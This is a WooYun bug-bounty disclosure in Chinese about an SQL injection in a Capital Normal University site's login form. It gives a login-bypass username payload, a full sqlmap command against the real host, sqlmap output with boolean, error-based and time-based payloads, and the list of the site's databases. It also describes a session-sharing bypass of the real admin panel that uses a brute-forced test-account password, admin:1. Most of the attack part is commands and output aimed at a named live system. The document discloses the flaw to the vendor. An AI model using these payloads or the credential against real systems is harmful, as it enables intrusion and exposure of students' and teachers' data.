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缺陷编号：wooyun-2015-0115463

漏洞标题：首师大某站SQL注入

相关厂商：首都师范大学

漏洞作者： nyangawa

提交时间：2015-05-22 15:47

修复时间：2015-05-27 15:48

公开时间：2015-05-27 15:48

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2015-05-22： 细节已通知厂商并且等待厂商处理中
2015-05-27： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

SQL注入导致可进入管理后台查看师生信息/群发邮件短信/修改首页公告

详细说明：

http://chinese.cnu.edu.cn/index.php
sqlmap直接扫并不会出现什么问题。
手工测试发现用户名为 admin ' 时会报错。

Database error: Invalid SQL: select * from user where current=0 and (trim(num)='admin '' or name='admin '') and passwd='098f6bcd4621d373cade4e832627b4f6'


构造用户名 admin ') -- ' 成功登录。

lock-2.png


根据构造的用户名再上sqlmap

python2 sqlmap.py -u chinese.cnu.edu.cn --data="website=chinese&user_name=admin%27%29&user_pass=&Submit=%E7%99%BB%E9%99%86" -p user_name --suffix=" -- '" --dbs


sqlmap identified the following injection points with a total of 48 HTTP(s) requests:
---
Parameter: user_name (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: website=chinese&user_name=admin') AND 3098=3098-- '&user_pass=&Submit=%E7%99%BB%E9%99%86
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: website=chinese&user_name=admin') AND (SELECT 8490 FROM(SELECT COUNT(*),CONCAT(0x7178707071,(SELECT (ELT(8490=8490,1))),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '&user_pass=&Submit=%E7%99%BB%E9%99%86
---
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.8
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 1440 HTTP(s) requests:
---
Parameter: user_name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: website=chinese&user_name=admin') AND (SELECT 9634 FROM(SELECT COUNT(*),CONCAT(0x7170717671,(SELECT (ELT(9634=9634,1))),0x71767a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) -- '&user_pass=&Submit=%E7%99%BB%E9%99%86
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: website=chinese&user_name=admin') AND (SELECT * FROM (SELECT(SLEEP(5)))mKcO) -- '&user_pass=&Submit=%E7%99%BB%E9%99%86
---
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.8
back-end DBMS: MySQL 5.0
available databases [11]:
[*] app
[*] chenjiao
[*] chinese
[*] gdwx
[*] information_schema
[*] mrbs
[*] mysql
[*] online
[*] phpmyadmin
[*] student
[*] teacher


经测试发现http://chinese.cnu.edu.cn/admin (真的管理后台) 和 http://chinese.cnu.edu.cn/student (测试用的管理后台) 的代码一致且共用同一个session，只是管理员密码不同，而爆破发现测试后台的 admin 密码为 1。
于是这样绕过真正的管理后台认证：
1. 用admin:1登录http://chinese.cnu.edu.cn/student
2. 直接访问http://chinese.cnu.edu.cn/admin即可以admin身份进入真后台
后台能干什么都在下面这张图里了。

lock-3.png


Server里还有一些别的服务，没什么内容就没有更深的测试。

漏洞证明：

sqlmap identified the following injection points with a total of 48 HTTP(s) requests:
---
Parameter: user_name (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: website=chinese&user_name=admin') AND 3098=3098-- '&user_pass=&Submit=%E7%99%BB%E9%99%86
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: website=chinese&user_name=admin') AND (SELECT 8490 FROM(SELECT COUNT(*),CONCAT(0x7178707071,(SELECT (ELT(8490=8490,1))),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '&user_pass=&Submit=%E7%99%BB%E9%99%86
---
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.8
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 1440 HTTP(s) requests:
---
Parameter: user_name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: website=chinese&user_name=admin') AND (SELECT 9634 FROM(SELECT COUNT(*),CONCAT(0x7170717671,(SELECT (ELT(9634=9634,1))),0x71767a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) -- '&user_pass=&Submit=%E7%99%BB%E9%99%86
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: website=chinese&user_name=admin') AND (SELECT * FROM (SELECT(SLEEP(5)))mKcO) -- '&user_pass=&Submit=%E7%99%BB%E9%99%86
---
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.8
back-end DBMS: MySQL 5.0
available databases [11]:
[*] app
[*] chenjiao
[*] chinese
[*] gdwx
[*] information_schema
[*] mrbs
[*] mysql
[*] online
[*] phpmyadmin
[*] student
[*] teacher


lock-3.png


修复方案：

这种事还是让专业的来吧

版权声明：转载请注明来源 nyangawa@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-05-27 15:48

厂商回复：

最新状态：

暂无